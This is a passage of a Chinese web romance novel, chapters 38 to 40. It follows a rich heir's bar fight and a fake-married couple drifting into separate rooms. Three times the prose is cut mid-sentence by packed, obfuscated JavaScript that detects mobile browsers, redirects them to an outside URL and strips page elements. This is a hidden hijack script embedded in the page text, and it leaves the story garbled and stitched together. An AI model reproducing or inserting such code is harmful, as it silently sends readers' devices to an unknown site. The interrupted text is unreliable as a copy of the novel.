“不跟你扯了,我不去,我妈给我打电话了,先挂了。” 赵青方围一块浴巾,接通了电话:“英明神武、风韵犹存的黎总,晚上好,找你潇洒帅气、人见人爱的儿子有事吗?” 38. 合作 赵青方挂了电话,没一会儿手机“叮”的提示有新消息。他拿起来看,果然是黎总的转账。信用卡被老爹停了,他这几个月过得缩手缩脚,幸好黎总心软。他数了数那一串零,给朋友发了个语音“等会儿来请你们喝酒”,刚说完,黎总的消息又来了。 “跑得了和尚跑不了庙,我们管不了你,等你舅舅来管你。” 赵青方马上就蔫了。他谁都不怕,只怕他舅舅。 拿起车钥匙准备出门,手机铃声不合时宜地响了。 说曹操曹操到,真是他舅舅。 赵青方清清嗓子,不乐意又不得不恭敬地接通了电话。 夜越深夜场越热闹,和居民区的静谧相比仿佛是两个世界。震耳欲聋的音乐,形形色色的男女,酒精、香水、热舞,在这里,发生什么都不令人意外。 赵青方往卡座沙发里一歪,保时捷车钥匙甩到桌上,动作有点大,“吧嗒”一声把正喝酒的几个兄弟吓得一激灵。 “怎么啦?谁惹我们赵大少不开心了?说出来,哥几个干他!” 赵青方斜周磊一眼,骂了一句,“我舅,你干得了?” 周磊缩缩肩膀,刚才的气焰瞬间全无:“干,干不了。你舅找你了?又让你去公司?” 赵青方烦躁地闷一口啤酒:“不然还能说什么?我姐在美国不回来,所有人都指着我薅,你看我头发都少了!”赵青方指指头顶浓密的黑发。 “别是被姑娘掏得虚了吧?”周磊邪笑。 赵青方和他从小玩到大,他们这帮富二代交女朋友和换衣服一样,喜欢的衣服就多穿几次,不喜欢的扔在衣柜想都想不起来。也根本不记得自己到底有多少衣服。 “呸!你别以己度人。你看看你的黑眼圈,小心哪天死在床上!” “哟,赵大少洗心革面重新做人了?来跟我说说,现在演什么剧本呢,搞深情人设?” “少管闲事。”赵青方想起洛苏怼他时那副伶牙俐齿又骄傲得意的模样,忍不住笑。 “有猫腻,这次是什么姑娘?”周磊看到赵青方那抹熟悉的笑容就知道他又有了新目标。 “甜口小辣椒。”赵青方觉得洛苏明明长得很甜美,圆圆的眼睛,笑起来两个小酒窝,看起来是那种让人很有保护欲的女孩,可她一开口,又辣又呛,仔细琢磨,还猜不透她心里的想法。就像他本来以为她会矢口否认假结婚,可她直接承认,不知道心里打什么算盘。 舞池里男女摇曳,音乐震得人耳朵嗡嗡作响,赵青方有点不适应,他一个月没泡酒吧,已经习惯了下班回家洗澡睡觉的规律生活。明天十点还要上班,熏得一身烟酒味,挂个黑眼圈,实在影响气质。 “你小子真转性了啊,才坐这么一会儿就要走?”周磊拉着他不放。 “这里吵得我头疼。”赵青方转身要走,几个男女在舞池里拉拉扯扯,他看了有点心烦。 女孩尖利的嗓音穿过混乱的人群,和周遭的嘈杂分离开,听起来有点耳熟。 “你个王八蛋,以为老娘好欺负,也不看看老娘是谁!”女孩子背影婀娜,一头栗色长卷发随着动作在雪白的背上轻轻晃动,像她的人一样招摇。说出的话却不如背影这么美,泼辣彪悍,完全是本地女孩子的做派。 不过终究是女孩,对面的男人没有因为她的喝骂退缩,反而逼近一点,笑得流里流气,单身扣着女孩的肩膀,“再骂几句,我就喜欢这种烈性的。” “喜欢你妈!”女孩打开男人的手,男人在众目睽睽下被扫了面子也不客气,狠狠推了女孩一把,嘴里污言秽语起来。 赵青方本来想走,犹豫片刻还是朝那个是非之地走了过去。 女孩被男人猛的一推,摔在赵青方怀里。赵青方稳稳接住,对男人挑挑嘴角:“一个大男人欺负女孩子还要不要脸了?” 施蜜回头,眼睛发亮。她本来就觉得赵青方很帅,这下他不止是帅,而是超级帅。 她本来和朋友来蹦迪,谁知道遇到个傻比跟个苍蝇一样围着她们转,在他抬手摸她朋友后背那一刻,她忍不住了。 “怎么?想英雄救美?”男人也不是好惹的,睨了睨赵青方,见他干净斯文,短袖衫下面一条运动裤,白净有余,蛮力不足,便也不放在眼里。 “噗——”赵青方嗤笑一声,觉得这人特别蠢。也不多说,揽着施蜜的肩就走。施蜜乖乖跟着他走。 “想走?”男人也不是单枪匹马来的,一挥手两三个年轻男人堵住了赵青方的去路。 赵青方摸出手机:“石头,过来,有好事。” 周磊早已经注意到舞池里围了一圈人,接到赵青方的电话更是兴奋得不行。三四个兄弟挽起衣袖就准备去大干一场。毕竟他们上一次打群架还是高中的时候。 现在两方势均力敌、旗鼓相当,围观的人也都是些年轻人,有拱火的,有看热闹的,反正生活无聊,正好多点谈资。 赵青方把施蜜往圈外一推:“你站远点,记得把我今天的英勇事迹告诉洛苏。” 施蜜听话地站到一旁,自动忽略了他后面那句话。她喜欢这种场合,有男人为自己打架多带劲啊!直觉告诉她,赵青方是个笑面虎,动起手来绝对是个狠人。 两拨人打起来的时候音乐还没停止。毕竟夜场里发生这种事太正常不过了,等有人高喊一声“警察来了”的时候,施蜜已经热血沸腾,偷偷加入了战圈。 赵青方果然是个狠人,看着瘦但挥拳的时候干脆利落,拳风几次扫过她,带起几缕发丝,拂过她的脸,又像是根羽毛在心上轻轻蹭过,痒痒的,麻麻的。脸上挨了一下也不退缩,只用舌尖抵抵下颚,吐出一口血沫,继续逮着那个带头的狠狠打。 幸好哥几个从小没少打架闹事,对方渐渐落了下风,主动投降求饶。毕竟本来也是他们理亏在先。 很快,酒吧负责人和警察一起来了,打烂的东西得有人赔。对方看到警察怂了,答应承担赔偿,至于医药费,双方各有损伤互不追究。 周磊捂着下巴口齿不清:“这就是你喜欢的那姑娘?漂亮是漂亮,也太招眼了吧?”他见过赵青方每一任女朋友,这是第一次有人以这样的方式出场。 施蜜也不生气,对她来说,这是夸奖。也不是谁都能招眼的。她对几个人拱拱手,豪气干云地说:“今天多谢几位仗义出手,走,下一摊我请,你们还能去吗?” 赵青方摸摸渗血的嘴唇,冷冷抛出一句:“请个屁!” 大步走了出去。 周磊只好跟上,他其实挺想去。施蜜漂亮,身后的两个姑娘也不差。 施蜜支走朋友,走到赵青方面前笑眯眯看着他,见他嘴上还在渗血,从包里摸出个创可贴,赵青方还没反应过来,嘴边就糊上了个东西。 他条件反射地退了一大步:“干嘛?跟你很熟吗?”他有点不理解,不是说人以群分吗,洛苏虽然也不是什么乖乖女,但她这姐妹也太泼辣了,辣得有点邪性。才见过一次面的男人就敢上手。 施蜜也不生气,还是笑眯眯的:“你嘴巴流血了。我会把你今天的英勇事迹告诉洛苏的,再夸张一点,怎么样?” 赵青方眼睛一亮,很快又若无其事:“区区小事,不算什么。你一个女孩这么晚还在外面混,也不怕不安全,还有,男人打架有你什么事,没吃亏不长记性是吧?洛苏怎么不跟你一起来?” “她不爱酒吧,觉得吵。以后不混了,今天长教训了。”施蜜尽量装得乖一点,刚才趁乱在那个罪魁祸首身上踹了好几脚,也算出够气了。 “你住哪?”赵青方嘴巴疼得厉害,多少年没吃过这种亏了,实在很不爽,但又做不到对洛苏的朋友冷眼旁观。干脆救人救到底,送佛送到西。 “不远,江边。”施蜜没撒谎,她一个人住在老小区,周围都是老邻居,方便又热闹。 “顺路,我送你回去。”赵青方冲周磊挥挥手,“改天请你们吃饭补偿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这就是她和洛苏的区别,她直来直去,喜欢就上,不行就撤。只有洛苏才喜欢玩通关打怪那一套。 赵青方看施蜜又更顺眼了一些。对嘛,老黎那个死闷骚,洛苏真是瞎了眼。 “要不要?”施蜜见赵青方明明心动了,却还在装矜持,继续诱惑。 “我追女人从来不要人帮忙。不过,看在你这么有眼光的份上,我就勉为其难接受你的好意,就当做今天的报答。” 酒吧离江边很近,保时捷的车灯在老小区门口闪着骚包的光。 “这里安不安全啊,要不要我送你进去?”赵青方瞥瞥门口形同虚设的保安,这种老小区地段好,很多人为了学区买下来,但毕竟年代已久,有价无市。 “行。”施蜜抱着胳膊,爽快同意。快九月了,晚上夜风有点凉。她看一眼赵青方,就一件T恤,没衣服能脱给她,她又把胳膊放下来。 施蜜自己住一套,还有几套房子出租,父母住在别处,鲜少过问,她生活自由又滋润。 赵青方送她到三楼,施蜜从包里掏出钥匙,顿了顿,回头看着赵青方:“要不要进来坐坐?” 赵青方浑身一凛,摆摆手:“不用了,晚安,再见。” 施蜜见他几乎是三步并作两步下楼,捂嘴无声大笑。 赵青方走在寂静的老小区里,觉得怪怪的。他明明是要洗澡睡觉的,怎么跑到洛苏的姐妹家里了? 施蜜往沙发上一躺,开始给洛苏发消息。 “姐妹,别急着认输,再坚持几个月,坚持就是胜利。” 洛苏起身回消息,以往晚上她都会关机,因为怕施蜜半夜发消息吵到黎祁。不过今天,她一个人独享房间,想玩什么就玩什么,想玩多晚就玩多晚。 “坚持个屁,谁说坚持就是胜利,我说坚持就是傻比!” 39. 冷 黎祁主动提出分房睡。 自从那天差点擦枪走火之后,洛苏就发现黎祁在刻意疏远她。 他又开始穿得整整齐齐才从洗手间出来。洗手间多了个脏衣篮,他的衣服和她的衣服泾渭分明,再也不像以前混在一起。吃饭的时候哪怕大家刻意把她旁边的位置让出来,他也会坐到离她更远的位置去。原本就不多的话变得更少,即使她主动找他说话,他也只会简短地回答几个字。 今天晚上,他洗完澡直接抱起自己的被子去了隔壁的杂物间。那里的确有一个小床,还是洛苏小时候睡的,不知道他什么时候整理出来了,也不怕硌得慌。 “你什么意思?”洛苏怕惊扰到父母,轻轻打开杂物间的门,目光钉着黎祁,毫不闪躲。 黎祁背对洛苏整理床铺,并不回头,“没什么意思,这样对大家都好。” 洛苏想笑,黎祁现在就像个闹脾气的小媳妇,说什么对大家都好,穿帮的后果却只有她一个人承担。 “我妈会发现。” 黎祁坐在床沿,目光游移到门外,就是不落到洛苏身上。“早上我会收拾好,不让她发现。” “行,希望你说到做到。”洛苏摔上门,扬长而去。 如果对方执意要离开,再低声下气挽留只会让对方看轻,跑得更快。洛苏知道,黎祁在为离开做预告。 施蜜听完,哈哈大笑。洛苏心里却泛起一阵酸涩。她以为半年多的相处,起码黎祁会把宝庆楼当成半个家。可原来他的心像黑洞,所有扔进去的东西都有去无回。他不会用语言提出离婚,但他会用行动迫使她主动提出离婚。因为所有关系的实质性解除,从来都只需要单方面切割,哪怕一方拽得再紧,另一方直接松手,联系也会就此中断。 “男人主动分房睡,不是出轨就是萎。” 施蜜笑够了,又开始大放厥词。 洛苏反驳:“没有第三种吗?” 黎祁不可能出轨,她相信他们都是有道德底线的人,何况他已经亲口说了他不会喜欢任何人。 至于萎…… 也不可能。她都亲手摸过了,不仅摸了,被他戳着的时候,又硬又烫。 “那个白豆腐就是个奇葩。”施蜜到岛台倒了一杯白开水,“咕噜咕噜”灌下去,觉得没那么口渴了。 “你很渴?”洛苏听到她喝水,觉得自己也有点渴了。 “晚上去酒吧了,你又不去。”施蜜没说赵青方英雄救美的事情。 洛苏烦那种吵吵闹闹的酒吧,之前和施蜜去过一次,吵得头疼了一晚,里面男男女女蹦来蹦去,她觉得好像丧尸。 “继续,有没有第三种情况?” “一般来说,如果一个男人喜欢一个女人,巴不得和她亲近,但你这个白豆腐他不会,他会反其道而行,因为他怕。所以你先别急着认输,不是还有几个月嘛。” “我看不出来。你就忽悠我吧。他看我的样子好像我是洪水猛兽,或者是病毒,恨不得躲得远远的。我觉得你关于男人的理论在他身上都无效。” “他再怎么特别,他也是个男人吧!照你说的,他不可能出轨,他没这个兴趣,那就是他不行呗。”施蜜不知道一周前,两人差点擦枪走火,要不是因为没有避/孕套,她早就输了。 “这……也不可能。”洛苏含糊其辞,但语气坚决。 “你怎么这么肯定?姐姐我告诉你,男人的花期短得要命,过了25就是65,他多大了?26还是27?如果他还是处男,那基本等于还没出厂就报废了。” “你别给你永远找25以下的男朋友的行为找借口。”洛苏嗤之以鼻。 “这不是借口,是金科玉律!是真理!”施蜜从来没有哪一任男朋友超过25岁,20岁的时候她的男朋友是20岁的,现在25岁了,她的男朋友还是20岁。 “反正他不可能不行。”洛苏一口咬定。 施蜜顿了顿,“哦——我想起来了,你摸过。但我告诉你,硬不代表久,万一他三十秒呢?可能是怕你失望,所以干脆跑了。” “更不可能!”洛苏脱口而出,维护黎祁的尊严等于维护她挑男人的眼光,她必须为他正名。 “你怎么知道?你又没试过。”施蜜扬起声调,觉得洛苏瞒了她一些事。 “没吃过猪肉还没见过猪跑啊!”洛苏握着手机,脸颊有点发烫。那天的情景自动浮上脑海,黎祁的肌肉结实紧致,脸上泛着微红,她只是轻轻亲了亲他的耳朵,他就红透了。 “呵,你见过猪跑?小酥酥,你是不是有些事情没告诉我啊?坦白从宽,抗拒从严,不然我不把最后的绝招告诉你。” 时间凝固了一分钟。 洛苏对着手机支支吾吾:“我……差点吃了猪肉。” “我靠!这么大的事情你不告诉我!还是不是好姐妹了!”施蜜从沙发上跳起来,兴奋得原地打转。 “快说说,什么叫差点?差了哪点?” 洛苏只得老实交代了。 施蜜一愣,爆笑声差点震破洛苏的耳膜。 “你们俩要笑死我吗?” “我数三下,你再笑我挂电话了!”洛苏脸羞得通红,对着手机喊。 “他也是个奇人,箭在弦上都能收回去。总之,你先别急着认输,姐姐我给你助攻。” “怎么助攻?”洛苏知道施蜜对付男人的确有一套,但黎祁不是一般男人,她的那些招数说不定根本没用。 “只可意会,不可言传。” “你不会要我给他下药吧?” “我是那种人吗?” 洛苏斩钉截铁:“你是。” “总之,从现在开始你冷着他,他冷,你就比他更冷。” 施蜜不说,洛苏也准备这么干。热脸贴冷屁股的事她干过,但那是有求于人的时候,现在她不想干了。黎祁不理她,她也不理黎祁。反正宝庆楼那么多人,她能说话的人很多。 “酥酥,你跟黎大哥是不是吵架了啊?”菜菜趁着午休,小心翼翼地问洛苏。 “没有啊,怎么这么问?”洛苏看了菜菜一眼,她不相信菜菜的眼睛这么毒。 “大家都这么说,说你们肯定吵架了。”在菜菜心里,洛苏像她的好姐姐,经常分享化妆品给她,又教她穿衣打扮,从来没有嫌她土。黎祁虽然总是冷着脸,不爱笑,但他说他从来没有瞧不起她,她问他什么,他也不像以前那样几个字几个字打发她。他们都是很好的人,她希望他们好好的。 “大家?还有谁?”洛苏回头扫视一圈,老豆在打瞌睡,丸子眯着眼抠指甲,冬瓜在练习整鸡去骨,只有赵青方倚在门口对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264014|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑。 “青方大哥说的。老豆和丸子姐也都这么说。” 几天前,午休的时候,赵青方买了奶茶给大家喝,神秘兮兮地告诉他们,洛苏和黎祁吵架了。 老豆也点头,说两个人好像几天没有对视了。丸子咂咂嘴说夫妻吵架很正常,床头打架床尾和。菜菜有点担心,又默默观察了几天,发现洛苏和黎祁真的几天没有说话,也不看对方,的确和以前不一样。 “你别信他,他那张臭嘴,我迟早给他缝上。”洛苏转身朝赵青方走去,“死臭豆腐,你给我过来!” 赵青方似乎早就等着洛苏,随叫随到,笑眯眯问:“酥酥找我有事?” 他那声“酥酥”叫得格外温柔,就像情人间的呢喃。 黎祁从大门进来,正好听到这声“酥酥”。淡淡的目光从两人并肩的背影上滑过,没有停留。 洛苏把赵青方扯到院子里,见没人过来才压低声音:“你搞什么?你干脆拿个大喇叭通告全世界我跟黎祁是假结婚得了!” 赵青方笑得很无辜:“我没说啊,我答应过你的事情就会做到。” “那你干嘛跟他们说我跟黎祁吵架了?” “没吵吗?”赵青方凑近点低头看了看洛苏的脸,“你都有黑眼圈了,肯定是晚上没睡好。老黎每天拉个脸,跟要打人一样,还说没吵架?别想骗我,我有男女关系雷达。” 赵青方信口胡诌,他没什么雷达,不过是碰巧作为赞助方和他舅舅一起参加了老字号大赛,也碰巧在酒店的屋顶花园喝了杯咖啡。 “就算吵架也不关你的事!”洛苏瞪他,这个赵青方好像开了什么上帝视角,总能知道些别人不知道的事情。 “你到底来宝庆楼干嘛?你是怎么知道我和黎祁假结婚的?”洛苏根本不相信他那些玄之又玄的说辞,但相处的时间久了,她发现赵青方人不错,的确不像对宝庆楼有坏心眼。 “你想听真话?”赵青方不笑了,认真地看着洛苏。 洛苏不自在地扭开脸,赵青方的桃花眼自带深情,认真的时候好像有魔力,她觉得不自在,不想看他的眼睛,“当然是真话。” “好,那你听清楚。我喜欢你,我来宝庆楼就是为了追你。”赵青方态度很真诚也很坦然。没有年轻男孩表白的羞涩和狂热,他说得很淡定,好像这是件很普通的事情。 “你,你有病吧?我跟你认识不到一个月。而且我结婚了。”洛苏退后一步,像看怪物一样看着他,又看看外面,确信没人才松了口气。虽然之前猜到了些许,但听到他亲口说出来还是吓了一跳。 “对你来说是一个月,对我来说很久了。”赵青方歪头想了想,“已经快五个月了。” “你胡说八道,我不跟你说了。管好你的嘴巴,别乱说。”洛苏转身要走。 “真的五个月,我第一次见你的时候还是春天呢,你笑盈盈地讲你小时候输了比赛的故事,可惜你对着的人不是我。” 洛苏的背影滞住。五个月前,老字号大赛。 院子通往厨房和大堂的门边摆着一些啤酒箱,人来人往经常会踢到。洛玉柱说了老豆好几次,让他不要放在这里。老豆忘性大,今天刚刚想起来要搬走,就看到黎祁已经稳稳地把几箱啤酒挪开,脚步生风,他只来得及看到他的背影消失在厨房门口。 40. 无赖 暑假结束,洛苏开始恢复早八晚五的生活。她发现如果她不刻意,每天都可以不用见到黎祁。她去上班的时候他还没起床,她下班回来的时候他正在厨房忙活,如果她连晚饭也省掉,再晚一点回房,几乎可以完美地和他错开。 即便吃饭,他们也离得远远的,中间至少会隔着两个人。黎祁原本就不爱说话,只要她不主动和他说话,任谁都看不出他们是一对结婚不到半年的新婚夫妻,更像两个完全不熟的陌生人。 宝庆楼的饭桌从来都是热闹的。尤其是赵青方来了之后更是增添了许多欢声笑语。可不管多好笑的笑话,黎祁都一言不发,只默默地吃饭,吃完就走。偶尔在院子里看看天,发发呆,更多时候没人知道他去了哪。但他总会在睡觉的时候准时回来,不至于夜不归宿让洛玉柱和苏爱云拿住由头。 洛苏端着饭碗认真听赵青方讲笑话,可耳朵却仔细听着黎祁的动静,大家七嘴八舌,你说一句我说一句,可不管她多么努力,都没能分辨出黎祁的声音。只好借着夹菜的间隙,偷偷抬眼看他,他还是那样不动声色,似乎一切都和他无关。 洛苏有点泄气。即使是她爱吃的粉蒸排骨,吃起来也索然无味。 “酥酥,不好吃吗?”赵青方看一眼洛苏碗里没怎么动的菜,又不着痕迹地看了看坐她对面的黎祁。黎祁低头吃饭,对周遭的一切都置若罔闻。 “挺好吃的。”洛苏作势咬了一口排骨。 “瞧你这勉为其难的样子,别人还以为我做的菜很难吃呢,拜托你,不想吃就别吃,到时候砸了宝庆楼的招牌可别怪我。” 赵青方说完故意又夹了一块排骨到洛苏碗里,示威般睨了黎祁一眼。 黎祁视若无睹,推推碗,“我吃饱了,你们慢吃。”转身就走。 洛苏夹在筷间的排骨掉回了碗里。赵青方做的菜很好吃,可她就是没胃口。 洛玉柱和苏爱云交换一个眼神,很快明白了对方的意思,问题比他们想象的严重。 晚上,苏爱云躺在床上唉声叹气。 “我早就发现不对劲了,自从小赵来了之后黎祁就没笑过。” “你什么意思?酥酥可不会做那种糊涂事。我的女儿我知道!”洛玉柱翻个身,闷闷地说。 原本小夫妻的事情他们当父母的不准备掺和,尤其黎祁是入赘住在他们家,他们总怕怠慢他让他觉得不自在,平时几乎不上三楼。明明去度蜜月前两个人还总是斗斗嘴,说说笑笑,到底发生什么事了?难道真的和赵青方有关?洛玉柱想问又不敢问。毕竟赵青方是他招来的,可他观察了许久,赵青方开朗随和,哪怕跟邻居买早点的王婶儿都能唠上几句,不至于做那种事啊…… “我昨天上去给酥酥晒被子,发现他俩分房睡了。小黎一个人睡在那个杂物间,还怕我发现,把被子藏在柜子里。”苏爱云长叹一声,满是惆怅。 “哪有新婚就分房的,肯定是酥酥耍性子给人赶出去了。”洛玉柱想到年轻时的遭遇,一口咬定是洛苏不讲道理。 “这不行,夫妻吵架很正常,哪有动不动分房睡的道理,床头吵架床尾和,明天我给想个办法。” 黎祁看着堆满杂物的床发了会儿愣。打开柜子,里面空无一物。 已经九月了,半夜凉得很,睡光床板的滋味可不好受。 他躺在黑暗中翻来覆去,本来床就小,他得缩着才不至于把脚伸到外面。又硬又硌,才睡一会儿就浑身酸痛。他干脆平躺着,感觉这个姿势稍微舒服一点。 杂物间没安窗帘,月光亮堂堂地撒进来,照的屋里一片发白。黎祁并不是第一次睡光床板。可几个月的婚姻生活,他恍然发觉自己变娇气了,习惯了高床软枕,习惯了总是洗得干干净净散发着淡淡香气的床单和被子,还有总是蹭到他脸颊和手臂的长发,或是半夜时突如其来的触碰,他甚至不会被惊醒,转个身又能继续睡着。 养成一个习惯似乎真的只需要七天。 所以,他戒掉这些应该也只需要七天。再过三个月,一切都会回到原点。 一个小时后,黎祁起身,活动了下酸痛的肩背,径直朝洛苏房间走去。 黎祁拧了拧门把手,门被锁了,但有灯光从门缝底下透出来。 把手的响动把正对着手机乐呵的洛苏吓了一跳,她警惕地缩缩肩膀:“谁?” “我。”声音清冷低沉。 洛苏一愣,继续问:“你是谁?” 黎祁气得想笑,他知道洛苏不是软柿子,可没想到她在这等着报复他。 “这个点除了我还有谁?” 洛苏提高声调:“你也知道这个点了,女孩子的门能随便开吗?”说完,她闷在被子里笑得直抽气。 “什么叫随便,这好像也是我的房间吧?”黎祁压低声音,耐着性子跟她讲道理。他觉得洛苏干这种事情无非是想逼他回房间睡,迟早得开门。 “这房间的主人只有两个,我和我老公,你是什么时候冒出来的?”洛苏知道黎祁现在肯定气得脸发白,但她不怕,反正门锁了,只要她不开,黎祁拿她没办法。何况也不是她招他的,是他自己送上门的。 门外沉默了。 黎祁能想象到洛苏现在肯定是得意洋洋的表情,只要他承认他就是她老公,这场拉锯战就能结束。可他刚刚建立起来的决心也会崩塌。他们之间的那条底线,迟早会被突破。他是人,不是神,不可能每次都把拉满的弓撤回,这样弦迟早要崩断。他可以不用,但不能用不了。 洛苏竖起耳朵仔细听,没有脚步声,他还在外面。 半晌,黎祁低低的声音终于响起。隔着门板,似乎在竭力压抑着。 “洛苏,你把我被子拿走不就是逼我回来吗,你开门,我们聊聊。” 洛苏终于知道他为什么肯主动上门了。原来不是求和。心里刚刚涌起的那点儿喜悦瞬间烟消云散。 “我没拿你被子,也没逼你回房睡,你爱睡哪睡哪,和我没关系。” “吧嗒”一声,门缝下透出来的微光也消失了。 门把手又晃了晃,这次晃动的力道比之前大得多,整个门都跟着发出摇晃的响声。 “你要是不怕惊动你爸妈,我可以配合你的恶趣味一直敲下去。” 他说完真的开始敲门。 夜已深,“砰砰”的敲门声格外刺耳,回荡在空空的楼道里,还带着回响。 洛苏用被子蒙住头,不理会。 可黎祁真的说到做到,一直敲。他还不是不间断的敲,而是有节奏地停顿几秒再开启下一轮,每次洛苏以为他消停了,他就又开始了。 黎祁气上心头,也耍起了无赖。反正这是在洛苏家里,惊动了她父母,大不了他坦白真相,然后走人。 果然,就在他准备继续敲的时候,门“哐”的一下从里面打开了,洛苏怒气冲冲地瞪着她。黑色长发披散在胸口,白皙的锁骨在领口和发丝间若隐若现。她显然已经洗漱完,素面朝天的脸上一双又圆又黑的眼睛因为生气熠熠生辉。 “谁拿你被子了?你凭什么血口喷人?”洛苏小心看看楼下,压着声音,生怕被父母听见。 “洛苏,我再强调一遍,我不会喜欢任何人,协议是你自己拟的,希望你还记得里面怎么说的。”黎祁揉了揉眉心,表情冷淡又有点无奈。 “王八蛋拿你被子了!”洛苏冲口而出。就算她的确喜欢黎祁,也不允许自己的自尊被他一次次踩在脚下。好像她非他不可,死乞白赖要亲近他一样。 楼下突然传来几声咳嗽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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床突然陷进去,紧接着,被子也被扯走了一半。 洛苏翻身坐起,看着躺在被子里已经闭上眼睛的人。 “你干嘛!” “不干嘛,睡觉。” “我没拿你被子,不行你把这被子拿去,我不要了。”洛苏把她那一半被子推过去。 “我就睡这里。”黎祁翻身背对着她。 “你以为这是什么地方,你想走就走,想留就留?之前不是我赶你出去的,是你自己出去的。男子汉说话算话,出尔反尔算什么?”洛苏很想踢他一脚,但前车之鉴还历历在目,她不敢。 “自己的房间本来就想走就走,想留就留。” 洛苏发现黎祁也耍起了无赖。而她竟然毫无办法。 “行,那你记住,我们井水不犯河水,谁都别碰谁,做不到的是龟蛋!”洛苏顿了顿,想起什么又继续说:“还有,我不喜欢你,别那么自以为是,喜欢我的人多了去,不差你一个。我希望我们能互不干涉。” 黎祁睁开眼睛,仍然背对着洛苏。 “还有三个月,你就是再急,也不至于连三个月也等不了吧。” 洛苏呼吸一窒。她没想到黎祁竟然把时间都算好了。还有三个月,她们的合约就到期了。那份协议看似苛刻,实际上如施蜜所说,毫无约束力。那张有名无实的结婚证更不可能绑住他。 她的血管突然像被堵塞了一样,无法流通的血液逐渐涌起,漫出来成了浓浓的沮丧和恼怒,又掉头流向四肢和五脏。 她深吸一口气,尽量让自己平静下来。 “没事,我想赵青方有耐心,等得起。”